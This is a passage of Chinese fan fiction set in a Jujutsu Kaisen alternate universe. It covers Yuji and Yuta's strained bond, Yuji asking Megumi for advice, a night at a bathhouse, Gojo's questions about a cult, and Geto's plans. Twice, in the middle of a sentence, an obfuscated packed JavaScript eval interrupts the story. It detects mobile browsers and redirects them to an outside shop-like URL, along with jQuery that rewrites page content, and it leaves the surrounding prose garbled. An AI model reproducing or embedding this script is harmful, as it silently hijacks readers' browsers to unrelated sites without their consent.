走在前面的乙骨忧太感受到了身后传来的阻力,他没有松手,哪怕他已经将虎杖悠仁的手臂拉得太高了,也没有丝毫放开的意思。他只是站在更高的台阶上,回头用漆黑的眸子看着他。
“......都说了很热。”虎杖悠仁没有挪开视线,他的声音有点颤抖,可这并非源于恐惧或者其他什么情绪,只是因为声音压得太低。将这个几个字挤出来实在很困难。
乙骨忧太将目光从粉发少年的脸上挪走了。他没有在笑,这段日子逐渐留长的头发慢慢不再像小时候那样翘起来,而是服帖地垂在耳边。
“那,”乙骨忧太的声音很平静,他的语气微微上扬,虎杖悠仁听得出这是他平时用来和自己商量什么事时常用的语调,“我们要不要分开一段时间?”
“什么?”虎杖悠仁听见自己问道。
“反正这里还有这么多房间,我可以搬去其他的房间。以后我们一起上学,放学之后的时间各自安排——”
乙骨忧太的话还没说完,虎杖悠仁“啪”地一声反手扣住了他的手腕,力道大得差点将他从楼梯上扯了下去。
琥珀色的眼睛瞪得很圆,可是眼白的面积因为瞳仁上移而显得太大了些,无端给这张乙骨忧太再熟悉不过的脸附加上了极具震慑力的怒意。
“你在说什么啊?!”
虎杖悠仁抬脚直接迈过他们之间相隔的几级台阶,推着乙骨忧太来到了安全平坦的平地:“忧太你最近很不对劲,为什么?我说‘有关系’又不是在勉强自己,你为什么要这么说呢?”
他似乎觉得这样说还不够明白,于是加大音量继续说道:“忧太你是笨蛋吗?现在在勉强自己的明明是你才对吧?”
虎杖悠仁的气势实在太过咄咄逼人,一下子打散了乙骨忧太提前在心中酝酿的所有东西。
“不,悠仁你才是,在说什么啊——?”
“所以说!”虎杖悠仁的粉色头发似乎随着他激动的情绪而四散炸开,少年急于向眼前的人解释什么,于是身体不自觉地越靠越近,几乎要直接贴了上来:“我从来没有因为忧太做过任何勉强自己的事!!不要自顾自地推开我啊!!”
推开?不,率先后退的不是......
“悠仁你不想拥有自己的......不是和别人共享的空间吗?进去前需要敲门的那种?”乙骨忧太愣着神,嘴巴却先于大脑,不,也许是大脑先于他自己支配了嘴巴,将这句话问了出来。
虎杖悠仁的脸一边说一边变得通红:“那、那也只有想要贴海报的时候才会觉得有自己的房间会好一点......”
最后的几个字几乎微不可闻,少年人为自己的想法感到羞耻,但这句话却是真心实意的。除了想要偷偷将詹妮弗·劳伦斯的泳装海报贴在墙上又不太敢真的这么做之外,他从没有想过如果住在只属于自己的房间里会是什么样的情景。
不,他早就体会过了。
幼时独自住在新宿那间妈妈为他准备的房子里,尽管记忆已经随着年岁的增长而变得不甚清晰,可那种空荡荡的感觉还是留在了年幼的虎杖悠仁心中。
如果乙骨忧太是因为觉得自己会侵犯到虎杖悠仁的私人空间而决定搬出他们的屋子,虎杖悠仁绝对无法接受。
乙骨忧太张了张嘴巴。枷场姐妹说的话还回响在耳边,可乙骨忧太现在才明白她们口中的“麻烦”到底意味着什么。
重点不在于他们究竟怎么想,而在于他们是一样的。
“......抱歉悠仁,我只是......”
“不要道歉,”虎杖悠仁搓了搓自己的脸,强迫那翻涌而来的血色赶快退下去,“我、我最近有点不知道该怎么和忧太相处。这和你没关系,是我自己的问题。”
他的眼神开始躲闪起来,乙骨忧太根本追不上,也插不上话。他索性干脆利落地闭上了嘴,让这个小小的转角平台重新被寂静占据,留给对方足够的空间。
虎杖悠仁整理着自己的思绪,他知道乙骨忧太还在安静地等待着,哪怕他和现在的自己一样有很多想要说的话。在乙骨忧太引导下逐步放缓的节奏给了他们足够多的沟通余地。
“我......”
他鼓足了勇气,可当他真的望向那双黑色的眼眸时,虎杖悠仁的脑袋里就什么都没有了。
乙骨忧太看着他的脸又一次肉眼可见地覆上红色,直到那片浅浅的颜色变得比他的头发还要鲜艳,少年再也忍不住甩头,轻轻推开了挡在身前的人,落荒而逃。
乙骨忧太居然没敢拉住他。
虎杖悠仁冲进了浴室打开水龙头,将水拍到自己的脸上,企图用这种方法让不受控制的温度尽快降下来。
如此反复两三次,他抬起头看着镜子里的自己。深吸了一口气,他将头埋了下去,把同样滚烫的额头贴在水池边缘,从冰凉的白瓷表面汲取低温,感受着水珠从脸上滴落。
他抿着嘴,长长地叹了一口气。
“好麻烦啊......”
嘟囔声被藏在了臂弯里,只有他一个人能听到。
——
“所以,你把我叫出来就是为了说这个?”伏黑惠的额头冒出一个十字,单手插兜带着微妙的不爽说道。
“救救我啊伏黑——伏黑哥!!!”
“不许那么叫我!!”
虎杖悠仁歪七扭八地靠坐在桌子边,眼前的青苹果汽水瓶里汩汩冒着气泡,他搅动着插在杯子里的星星吸管,苦恼地向自己的朋友哭诉:“不,碰到你的那些不良不都这么叫你吗?你到底干了什么让他们这么害怕你啊?”
伏黑惠尝了一口黑咖啡,感觉像是被咖啡豆打了一拳,但慢慢觉得这种饮品好像还不错。
他平静地说:“揍了一顿,把闹腾得最凶的那个挂在了校门口。”
这大概是他上了中学之后干得最出格的一件事,和平常发生在后街小巷里的打架斗殴不同,他将组团上门来找麻烦的不良少年们挨个揍得爬不起来,挑了几个之前叫得最凶的挂在了校门口的横幅下面。
“伏黑哥”的名字就是从这里开始传出去的,那群不良少年被狠狠收拾了一顿之后,再也不敢来找他的麻烦。
“打服了就能让他们安静下来吗?我们那边也有这种家伙......真是的,下次我也这么做试试好了。”虎杖悠仁有些跃跃欲试。
伏黑惠看了他两眼,有点不太想打击他的热情,但还是依据现实情况提醒他:“我揍他们只是让他们明白如果不做好‘自己会被杀死’的决意就去伤害他人,总有一天自己也会变成他们自以为的可以被随意欺凌的人。”
“虎杖,你能明白我想说什么吗?”
他透过桌上玻璃杯里清透的绿色去看对面趴在手臂上的少年。
“明白是明白啦,但是,”虎杖悠仁萎靡不振地看向窗户外面人来人往的街道,“嗯......也就是说,他们是‘还有救’的家伙。”
伏黑惠:“你说的这是其中之一,我的意思是‘我和他们是一样的’,这一点你能想明白吗,虎杖?”
他自认为已经是一名尚不成熟的咒术师,但对于咒术师将要面对的未来却已经看得很明白了。对咒术师来说,最重要的是自我肯定,也就是找到战斗的意义。如果连这个都想不明白就去面对咒灵、面对诅咒师,只会落得死不瞑目的结局。
伏黑惠已经想明白了这一点,找到了为之战斗的理由,所以他可以自由支配自己的力量,不在乎别人觉得他做的是正确的还是错误的,他只相信自己的良心,发誓所有的选择都是他自愿做出的。
如果虎杖悠仁觉得他是为了某种正义感而教训那些混混,那他必须纠正自己的想法才行。就像伏黑惠很早和他说过的,咒术师可不是英雄,他也不是正义的伙伴。
虎杖悠仁的眼睛转了回来,伏黑惠看不见他藏在手臂后的嘴巴,只能听到虎杖悠仁平淡地说道:“我知道啊。倒是伏黑,你真的觉得自己想明白了吗?”
少年咒术师不像是在和虎杖悠仁说,倒像是在说服他自己。
在气氛又一次变得僵硬起来之前,虎杖悠仁从桌子上抬起身,规规矩矩地坐好:“抱歉,总感觉最近我总会把气氛搞得很僵......所以你说我到底该怎么办啊?!”
他似乎很快陷入了可怕的烦闷之中,将跑偏的话题带回了他们最开始讨论的问题上。
“我觉得这没什么吧?”伏黑惠又喝了一口咖啡,醇香在苦味散尽之后才慢慢萌发:“津美纪也有自己的朋友,我们上了初中之后就没再一起回家了。你到底在纠结什么啊?你不好好说清楚我怎么知道你到底怎么想的呢?”
其实是因为虎杖悠仁也不知道该如何将自己的想法好好地传达给试图为自己提供帮助的伏黑惠。最近他总感觉自己的心里像是一团被猫咪扯乱的毛线团,找不到线头,也顺不清条理。
“所以说,”他磕磕绊绊,只能尽可能更多地表达自己的感受,“忧太总觉得自己在阻碍我啊!还说想要单独搬出去住,但他根本不是那么想的!”
“然后呢?”
“......这已经很严重了。”
伏黑惠叹了口气:“你这不是很明白吗?乙骨前辈只是看起来想要推开你,实际上他想通过这样的行为......或者说是你拒绝被他推开的行为来确定你不是真的想要疏远他。”
这算什么啊?伏黑惠心道,简直就像是在看八点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378196|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
档的家庭伦理剧一样莫名其妙。
“你好懂诶,伏黑。”
额角抽动了一下,伏黑惠将敲打粉发少年的怒火压了下去,语气不善地警告道:“别说这些没用的。你最近做了什么会让他误解的事吗?或者有哪些无意识的行为让他多想了?乙骨前辈心思很细,大概是误会了什么吧。”
出乎他意料的,虎杖悠仁居然在这个话题前望而却步。
“......真的假的?”
虎杖悠仁傻呵呵地挠着头,自暴自弃地说:“大概?”
行吧。伏黑惠给津美纪发去信息说自己不回家吃晚饭,然后提出了要求:“晚饭你来请。”
虎杖悠仁双手合十,几乎要把脑袋磕在桌子上:“太感谢你了!伏黑哥!”
他们将阵地从饮品店转移到了拉面店,在热腾腾的豚骨拉面端上桌的时候,伏黑惠示意虎杖悠仁可以开始讲了。
“大概是有一次我们吵架了,不,也不算是吵架吧......没有吵起来,但变化应该就是从那之后发生的。”虎杖悠仁用筷子卷着面条,倒豆子似的开始讲了起来。
伏黑惠安静地听着。他从虎杖悠仁的口中捕捉到了关键词“盘星教”,他觉得自己似乎在哪里听过这个名字,但是记忆太过模糊,此刻也想不起来什么有用的信息。这还是虎杖悠仁第一次这么详细地讲述他和乙骨忧太之间的关系,偶尔也能从中推测他们现在的生活状况。
他们似乎很小的时候就一起生活,加上伏黑惠从没听他们提起过父母和其他家人,难道都是孤儿所以相依为命吗?虎杖悠仁说开始争吵的转折点在他背着乙骨忧太偷偷向熟悉的人询问了有关盘星教的事,但是乙骨忧太似乎不希望他再深究这些。
“......你们现在住的地方,不太好?”伏黑惠猜测道。
因为和伏黑惠太熟了,加之想要找人倾诉的欲望,虎杖悠仁第一次说得多了些,跨过了他们一直默契遵守的界线:“不能说不好,只是我们和他们的想法不太一样。”
他们和别人住在一起,而这群人有什么无法被虎杖悠仁轻易接受的目的。果然是......诅咒师吗?
“其实这一直都是我们的梦想啦,”贴着碗壁的海苔已经向下滑落了大半,纯色的骨汤散发着浓郁的香气,“去旅行,不会因为咒灵、诅咒和非术师的事烦恼,离这些烦心事越远越好。忧太想要自己的‘家’。”
这很符合伏黑惠对乙骨忧太的认识。他实在是一个心思细腻的人,也许是过往的经历让他的性格中多了一些被伪装成温柔和坚强的脆弱,从那双眼睛里流出来的无意识依赖说明他恐惧着失去。
而这种情感的源头......伏黑惠望着仍在絮絮叨叨地说着的虎杖悠仁。
他到底是知道,还是不知道呢?
“伏黑,你在听吗?”
“我在听。重点是你怎么想的,虎杖。你总是在避开这个话题,你到底干了什么事才会让乙骨前辈误会?”
他可不是会轻易选择自我隔离的人。
虎杖悠仁觉得不知道从哪一天开始,自己就变得不太像原来的自己了。也许是比那次争吵更早。
他不再喜欢被乙骨忧太拉着手走,因为没有人这么大之后还会像他们这样一直手牵手,所以他会在乙骨忧太试图捉住他的时候下意识地慌乱和感到不好意思。但是这样做后,乙骨忧太的眼神总会有不易察觉的失落,这又让虎杖悠仁觉得是不是自己太过分了。
“而且,”他垂着眸子说,“我总觉得他的手很烫诶。”
他今天穿了一件领口比较大的帽衫,这样前倾身体的时候,一直挂在脖子上的勾玉就露了出来。
伏黑惠犹豫了一下,还是说道:“那个挂坠是乙骨前辈送给你的?”
虎杖悠仁愣住,疑惑地回答:“是他送给我的生日礼物,你怎么看出来的?”
他话音未落,就看到伏黑惠挑起一侧的眉毛,用一种了然和“你居然不知道”交杂的语气说:“之前我就觉得奇怪了......虎杖,那上面有咒印啊。”
“?”
虎杖悠仁将绳子拿了下来,木制勾玉的表面多了一些细小的划痕,还带着少年人的体温。
在争得他的同意后,伏黑惠将挂坠拿了过来,细细观察之后确定了自己的判断:“不太常见,但肯定是某种‘痕迹’,没什么别的作用,就像是动物标记领地一样在这上面留下了自己的咒力。”
粗糙得很,正因如此才很显眼。因为虎杖悠仁总是和乙骨忧太一起出现,所以伏黑惠一直没有注意到这一缕异质咒力的来源。而且他总觉得这个粗糙的咒印几乎要和残秽没什么区别了,像是......有人在无意识中完成了这个“诅咒”。
他突然“嘁”了一声,五条悟的脸浮现在了他的脑海里,那个白毛老师肯定早就看出来了!
“咒力?是谁的?”虎杖悠仁一时没能反应过来伏黑惠究竟在说什么。为什么他贴身携带的勾玉上会有其他人的咒力?而且仔细感知的话,那不是忧太的咒力吗?
伏黑惠迅速将它还给了虎杖悠仁,见他仍有些懵懵地盯着掌心里的勾玉,忍不住开口:“虎杖你......”
念头通达的那一刻,所有的疑问都迎刃而解。伏黑惠用手挡住嘴巴低头沉思了片刻,略带着一点不可思议和原来如此的感觉,语调奇异地对虎杖悠仁说道:“......你完蛋了啊。”
“——哈?!”
58. 第 58 章
虎杖悠仁站在教会门外的樱花大道上,夜幕深沉,可他没有现在回家的欲望。所以他抬脚沿着大道的方向随意溜达了起来,没有注意自己究竟走向了哪个方向,也没有留意时间。
走在完全被月光笼罩着的、行人极少的街道中,虎杖悠仁发现城市的夜晚也并非全都是钢铁与人声。从各家门前打理得干净漂亮的花园里能够听到各种叫不上名字来的虫鸣,他蹲在路口,招手叫来了一只将尾巴高高翘起的猫咪。
飞蛾翅膀拍打在路灯的玻璃灯罩上,虎杖悠仁能够听到它们扑扇翅膀的声音和从路灯里传来的电流声。
手下的猫咪亲昵地蹭着他的手。
“抱歉,我没带吃的啦......”他缩着身体,脚下的影子在灯光照射下也变成了小小一团。那只猫咪自顾自地蹭了人,现在又从他手中溜走,规规矩矩地坐在稍远的地方舔着毛。
虎杖悠仁保持这个姿势蹲了很久。
那枚勾玉就垂在他自己的眼前。
原本安静整理着自己的猫咪突然警惕起来,向着没有被灯光照到的方向看了过去,一双眼睛像是小探照灯一样在黑暗中亮着。
在虎杖悠仁听见脚步声的时候,它也起身,毫不留恋地跳上了围墙,跑向令它受惊的动静相反的方向,和向虎杖悠仁走来的人擦肩而过。
虎杖悠仁站了起来,看着乙骨忧太迈入他站着的光圈,令人不安的黑暗一瞬就从黑发少年的脸上退去,只剩下顶光刻画出的五官阴影。
只是他还没想好该如何说,还没想要自己究竟......怎么看待他们之间的关系。虎杖悠仁不得不承认他是个非常笨拙的人,至少在伏黑惠点明这一点之前,他完全没有意识到他和乙骨忧太之间的相处方式和寻常的家人是完全不同的。
在伏黑惠说他“完蛋了”的时候,虎杖悠仁嘴上惊讶着,可是满心想得都是“果然是这样啊”。他不知道伏黑惠真正的意思,也不想知道答案。
只是作为朋友——同为术师的同龄人,伏黑惠和他分开之前仍旧提醒他:“你太在意它了,虎杖。它和诅咒拥有同等的力量,在你彻底搞明白自己的想法之前,不妨先找到一个足够让你们都可以喘息的距离......让你这容易上头的脑袋清醒冷静一下,吸纳一些新东西,说不定回过头来才能看得更清楚。”
诅咒可是由负面感性中诞生的啊,怎么可能和它......拥有同等的力量呢?虎杖悠仁抬手摁住了自己的胸口,隔着衣服摸到了勾玉的轮廓。
乙骨忧太没有问他为什么蹲在这里不回家,他只是看着虎杖悠仁说道:“要去散步吗?我们还没有在晚上出去逛过吧?”
“好哦。”虎杖悠仁答应了。
尽管已经在这里生活了六年多的时间,可还是有一些地方是他们不熟悉的。比如这条街上有一家名叫“鹤之汤”的澡堂,白天当然是不开门的,但一到晚上这里就会变得热闹非凡。
除去老店带来的名气,光是走到那附近就能感受到的浓厚水汽与蒸腾的热量足以让不明所以的路人对他们家汤池的威力有所领悟。再加上每个从里面走出来的人都神清气爽,哪怕是夏天也会有人成群结队地过来泡汤。
旁边就是二十四小时营业的便利店,店员也忙得完全顾不上休息。
“这家晚上的生意居然这么好!”虎杖悠仁和乙骨忧太对视了一眼。
他们一起生活的时间足够久,甚至可以说他们都拥有对方多半的人生,今后也将继续霸占着彼此的生活与未来。只是一次目光交汇,他们默契地开始往回走。
反正这家澡堂离得很近,回去带上更换的衣服再过来也不会花上很长的时间。
“去澡堂?大晚上的你们又发什么疯?”枷场菜菜子根本不想理会想一出是一出的男孩子们,美美子正窝在沙发团子上看综艺节目,所以只有虎杖悠仁和乙骨忧太重新出发,奔赴澡堂。
经过一层的时候,虎杖悠仁向走廊尽头瞥了一眼。夏油杰似乎还没回来,他最近总是很忙的样子。
“夏油先生一直都是这样吧。”乙骨忧太抱着水盆,他们直接穿着拖鞋出门了。
虎杖悠仁扯着因为燥热而有些汗湿的衣服,喃喃道:“要是我被热晕过去了,忧太你一定要记得把我捞出来。”
“悠仁才没这么脆弱吧?它似乎有不同温度的池子,要试试看谁能坚持更高的温度吗?不用咒力。”乙骨忧太提议道。
虎杖悠仁立刻精神了起来:“那我赢定了!”
“那可说不定。”
在更衣室里脱掉上衣的时候,虎杖悠仁背对着乙骨忧太,却不小心从贴在储物柜门上的小镜子里看见了他的背影。
“砰!”
铁制柜门被人大力关上的声音吓了乙骨忧太一跳,他回头看向一只胳膊还撑在门上的虎杖悠仁,视线被他脖子上的项链吸引了一瞬,又自如地挪开了:“走吧?”
“走吧!”虎杖悠仁的眼睛看着格纹地板。
他刚想迈步,却发现乙骨忧太向他的方向靠了过来,在他无声的瞪视下走近,取下了和皮肤颜色相差极大的红色项链,勾玉随着他的动作而晃动着:“果然还是把这个摘掉吧,沾了水......会坏得更快。”
虎杖悠仁点了点头。乙骨忧太拉开了他的柜子,看见了柜门上的小镜子,将项链放好后迅速退开了。
澡堂里面的湿润空气如有实质,仅仅是站在那里就能感觉到不断有水珠在皮肤上凝结,连呼吸都变得灼热了起来。但这和在夏季正午的太阳下暴晒是全然不同的热,慢慢滑入热水中的时候,仿佛皮肤都开始呼吸了一样,散发着通透的感觉。
“好舒服——”虎杖悠仁把毛巾搭在额头上,背后的瓷砖倒是还保存着一点凉意,从水面生成的蒸汽完全呼在了脸上,好像在蒸桑拿一样。
热意将乙骨忧太的眼角熏得红红的,看起来就像是哭过了一样。但这其实是个人体质问题,一旦情绪激动或者精神压力大的时候,他眼角的那块区域就会很明显地红起来。
他闭上眼睛,眉目舒展地向后仰靠在池子边。
虎杖悠仁向他那边凑了凑,带起的水波在下巴处上下浮动。粉发少年转了个身趴在了水里,和乙骨忧太商量:“......我喜欢泡澡。”
被打湿的黑发全部乖顺的向后,乙骨忧太笑眯眯地说:“看来以后要挑一个大一点的浴室,能放下浴缸才行。”
虎杖悠仁咕哝着:“来外面又不麻烦......”
乙骨忧太笑着没说话。
——
“诶——”
“......你知道什么吗?”
“嗯......诶——”
伏黑津美纪给坐在沙发上的五条悟送来了温水,矮几上的碗里堆放着被各色糖纸包裹着的甜味炸弹,她进屋前仍在叮嘱伏黑惠:“要好好和五条先生说话,小惠。”
“我知道。”
二年级课程的压力已经逐渐提升了上来,伏黑津美纪有继续读大学的想法,为此需要在学习上下大功夫,如果能够考入偏差值高的高中,就能对她未来的学习生涯提供很大的帮助。所以她通常在安顿好家里的琐事之后会把自己关在房间里继续学习,伏黑惠和五条悟默契地等到女孩走入房间后,才继续他们之间的对话。
从刚才开始,五条悟的嘴巴里就只能发出一些感叹词了,伏黑惠巧妙地从这些连不成句子的短语中猜出他绝对知道些什么。
自从五条悟用白色的绑带换掉墨镜之后,旁人彻底没有办法从他的眼神中看出点什么了......尽管敢于直视那双眼睛的人本就少之又少。
伏黑惠的思绪在此期间又飘到了津美纪的身上。她有没有发现他们在谈论一些“她必须回避”的事呢?伏黑惠不觉得女孩什么都不知道,她只是太过善解人意,太过善良,愿意允许一些小秘密出现在她关心的人身边。因为她的心足够宽广。
“盘星教啊......他亲口和你说的吗?”
“千真万确。他最近因为其他的事在烦恼,这才说漏嘴了吧。”
“嗯?什么事?”五条悟似乎突然来了兴致,将自己从沙发里拔了出来,看起来对能够让虎杖悠仁受到如此大影响的烦恼很感兴趣。
伏黑惠在说与不说之间犹豫着,五条悟从他的态度里排除了令人有些担忧的猜测,调侃地说道:“难道说,是让人心脏dokidoki的青春恋爱烦恼吗?真的吗?!”
伏黑惠觉得那是一种说不清道不明的感觉。像是午后吹来的风,带着夏季潮湿的气息、青春懵懂的情愫与令人措手不及的关系变化。有时候亲密也会变得让人不安。
“哼哼,这就是青春呐!”五条悟还在说着一些没什么营养的话,但伏黑惠没有让这个看似无所不能的大人将原本的话题就这样跳过去。
“......这可不是什么没营养的东西啊,惠。谁都没有资格剥夺年轻人的青春呐。至于盘星教,”五条悟正经了起来,“盘星教时器会,他们曾经是信仰、崇拜天元的宗教团体,硬要算起来的话可以追溯到奈良时期吧,教徒几乎全都是普通人,不知道咒术界的存在。”
一个全是非术师的宗教团体崇拜身为咒术界基石的天元大人?
“悠仁那孩子为什么会说起盘星教?”
“似乎是听其他人提起过。”
五条悟捏着下巴沉思了很久。
“你觉得我直接把他们拐到高专的可能性有多高?”
伏黑惠笃定地说:“不可能的。”
五条悟叹气:“那也太打击人了。”
还有两年才够得上升入高专的年纪,伏黑惠却早早地认识了五条悟的学生们。有的时候他也会被“抓壮丁”,去接触被“窗”发现、但对咒术界仍抱有疑虑的人,通过同龄人的身份减少他们的排斥与警惕。
五条悟在四处网罗人才。不管是今年接触到的秤金次和星绮罗罗,还是很早就被他从自己不靠谱的老爹和禅院家的交易中捞出来的伏黑惠,五条悟似乎已经将培养下一代咒术师的目标刻入了骨子里,几乎将之视作理想——伏黑惠一时也想不出其他的词能够描述五条悟对这个目标的看法,但若真的用“理想”来概括,似乎也并不是那么合适。
但是乙骨忧太和虎杖悠仁并非对咒术界一无所知的未成年咒术师,他们绝对生活在某个诅咒师集团中,再不济也和这种组织化的团体脱不开关系。伏黑惠其实觉得诅咒师团体会比独来独往、只为了活
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378197|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得逍遥自在而从事咒杀行业的独行侠要好得多,这类团体通常有更具体的目标。
他们有的拥有志同道合的目标,同样因为身怀咒力而遭到迫害,由此集结在一起生活。这比为了丰厚的报酬而利用非术师看不见咒术与诅咒的特性来完成规避现世法律制裁的“完美犯罪”的诅咒师们更接近有血有肉的人吧。
至少在现在的伏黑惠眼中,理想尚且可以成为将周围人区分开的某种标准。
只是,尽管诅咒师们结党的情况并不少见,大多却都只是乌合之众,一旦碰到御三家或者高专人士的集体打击,几乎很容易就会溃散了。
从他们的聊天中大概能感受到虎杖悠仁和乙骨忧太对自己所在的地方并没有特别多的归属感,虽然他们话里话外都很谨慎,但那应该只是出于曾经可能遭受过的迫害而下意识自保的缺乏安全感的表现。
比起进入咒术界,进入高专,伏黑惠更希望他们可以达成所愿,去做自己想做的事,就像他对津美纪的期望那样。
五条悟看起来并没有因为伏黑惠的两三句话就完全放弃自己的想法:“算了,那两个孩子就拜托惠多多联系,保持一个良好的关系,要是能够套出更多的话就更好了。”
“你没办法查清楚吗?”
面对伏黑惠的疑问,五条悟用微笑和摸头代替了回答,从桌子上抓走了一把糖果当做报酬,还算潇洒地离开了。
关上门的时候伏黑惠还在想五条悟每天为什么总会有那么多的时间。他现在可是当之无愧的咒术界最强,平时除去教书、执行各种任务、到处捞人之外,他甚至还能抽出时间来指导伏黑惠训练,更不用说身为五条家主需要参加的各种仪式、高专的会议、总监部的琐事云云,这还要除去他任性逃掉的诸多会面。
简直就是超人。
不过那究竟是查不清楚还是不想查清楚的意思呢?
——
虎杖悠仁和乙骨忧太不再一起分享放学后的时间。
黑发少年选择成为“回家部”的一员,在下课后不参加社团或者其他活动,回到教会后就是在训练场上修炼咒力操作或者和不同的人比拼体术。接触不同的人有助于他更深入地开发自己的术式,让具有“模仿与复制”特性的能力变得更加诡谲莫测,加上作为外置大脑的里香,乙骨忧太渐渐可以在大部分对练中处于上风。
那不可忽视的磅礴咒力也让他的存在变得特殊起来,尤其是对于一门心思投身于夏油杰所展现的未来可能性中的诅咒师们来说。
“那孩子的天赋真是可怕,”难得回到教会的拉鲁和夏油杰说道,“看你的样子,难道还没有和他说清楚吗?恕我直言小杰,你本来应该在他们还是孩子的时候就......”
“最近有‘窗’的人在教会附近出现,菜菜子和美美子已经将他们清理干净了。”
“你的意思是,你们这里的那个总监部已经盯上我们了吗?”
夏油杰的沉默给了拉鲁答案。这个教会对外的一切都仿照曾经的盘星教,在孔时雨的周旋下,它和盘星教一样一直处于一个暧昧不清的状态,因为众多非术师组成的教徒成为了明面上的挡箭牌。
“我手中的咒灵总数已经到了四千体,虽然大部分的质量不高,但用来对付猴子们也足够了。”夏油杰手上拿着刚刚从哭喊着求他救救自己的非术师身上收走的咒灵玉,【咒灵操术】让他改变了咒灵的外型,接下来只要将之吞下就可完成调伏。
金发的外国术师闭上了眼睛,了然中带着一些期待:“也就是说,你的心里已经有目标了。”
夏油杰将咒灵玉收起,目光落在训练场上挥汗如雨的乙骨忧太身上,沉声道:“我已经让你们等了太久。我自己也已经走了太久。”
拉鲁已经在这个对他来说是异国他乡的地方生活了很久,对于这个国家的人特有的个性了然于胸。对这里的人来说,变革是一件极其困难的事。开始时总是艰难的,但他们幸运地找到了一群志同道合的家人。接下来只要等待适宜的时机掀起足以推翻整个时代的浪潮,他们理想中的世界就会到来。
哪怕到时候他们无法亲眼看见梦想中的未来,也没有人会觉得遗憾吧。
正在挥刀的少年被远处的少女们叫走了,他们站在树下说了很久,但似乎谈话的结果并不尽如人意,枷场姐妹离开得很干脆,而乙骨忧太看起来也没有了继续修行的心思。
“呃、夏油先生?是找我有什么事吗?”
走上石阶准备离开训练场的乙骨忧太看到了独自站在草地边缘的夏油杰,有些诧异地问道。他已经许久没在这个时间见到过看起来这样悠闲的夏油杰了,不过这也让他再次失落地意识到自己针对咒力感知能力的特训并没有起到应有的效果,这个距离下他本来应该能够察觉到夏油杰的咒力才对。
夏油杰摆摆手,随意地说道:“倒也没有什么特别重要的事。介意边走边说吗?”
尽管身上汗津津的,但乙骨忧太同意了这次谈话。左右他也有些事情想要和夏油杰说清楚,与其纠结地等待着合适的时机,不如趁着这次机会一并说出来,正好虎杖悠仁也不在。
“好。”
一高一矮两道身影逐渐消失在了训练场边。
59. 第 59 章
虎杖悠仁在放学后本来应该去电影同好会参加社团活动,可他现在却游走在街头,目的地明确地穿越大街小巷。电影社的出勤率要求很低,允许大家作为幽灵部员参与社团活动,想来就来想走就走。
上周放映的电影是虎杖悠仁推荐的《乌云背后的幸福线》,所以他才破天荒地按时参加了社团活动,没有早退或者干脆隐身没去。至于为什么不是《蚯蚓人》系列,他曾经也倾力推荐过这个系列,可是被社长以“如果放了的话会有更多人跑掉的吧”之类的理由拒绝了。
如果被人问及为什么会推荐这部电影,虎杖悠仁也说不出什么影评人常用来表扬它的话,只是觉得这个电影很能触动他。关于同类与异类、疗愈与伤害、伪装与不完美的故事几乎完完全全契合了他的内心,有时他能从中看到他们现在正在经历的问题或痛苦,偶尔他也能在看电影的时候想到如果是他和乙骨忧太的话……能够像电影中的主人公们一样找到困境背后的幸福吗。
这周的电影虎杖悠仁已经看过很多遍,他不想将时间浪费到在社团活动室里睡觉上,所以从容地逃掉了社团活动,如今正在去往柏青哥游戏厅的路上。
他游刃有余地避开了忙里偷闲的工作人员,迅速通过兑币机和景品柜,走进了游戏厅。到处都是弹珠哗啦啦的碰撞声,昏暗的环境里充斥着游戏机的电子音效,偶尔有中大奖的机子发出堪称吵闹的中奖广播,常年混迹于游戏厅的老手能够通过播放的主题曲听出究竟中了哪个游戏的大奖。
游戏机边缘贴着劣质LED灯光带,等待着中奖时爆发出刺眼又幼稚的炫彩光疯狂闪烁。
虎杖悠仁不太在意自己玩的是哪种机型,通常是哪个区域的人少,他就选择哪里的空机子,假面骑士或者高达等等IP他都有玩过。
没有人会浪费自己的时间来疑惑为什么会有未成年人混进来,连游走于店内调试机器和兑换奖券的店员都对他睁一只眼闭一只眼。
游戏厅里嘈杂的噪音从虎杖悠仁的耳边游过,机械与人声没有影响他的专注力,屏幕反射出来的彩色荧光打在他的脸上,仿佛周围被无形的屏障包裹着挡住了外界的环境。
这里挤满了寻求情绪发泄和追求心理狂热的人,从中年大叔到上班族,还有一些年轻的情侣甚至还能看到家庭主妇。像他这样的未成年人也有,大多都是附近学校的学生,三三两两聚在一起吵闹地跟随着游戏机的闪光大呼小叫。
虎杖悠仁的手感很好,奖券不停地从机器里吐出来,在听到卷轴出现轻微卡壳的声音时,他就决定收手,看时间决定是换一台机器玩还是溜达着往回走。如果叫店员过来处理机器更换奖券的话,有的时候会被盘问年龄或者其他的问题,为了避免不必要的对话,虎杖悠仁干脆就这样把烂摊子留给下一个玩到这台机器的倒霉蛋。
他弯腰取走最后的奖券,准备去前台看看是哪个店员在负责兑奖。年轻一些的、来打工的人很少计较他的年纪,如果是老板在的话,他就不会去兑换那些奖品了。起身的时候,周围爆发了一阵争执,似乎是那群不良闹出了太大的动静,被坐在他们隔壁的人以年龄问题要求店员将他们赶出去。
推搡的时候,有个黄头发的不良站在后面,因为狭窄的过道无处落脚保持平衡,被径直推到了虎杖悠仁所在的游戏机上。
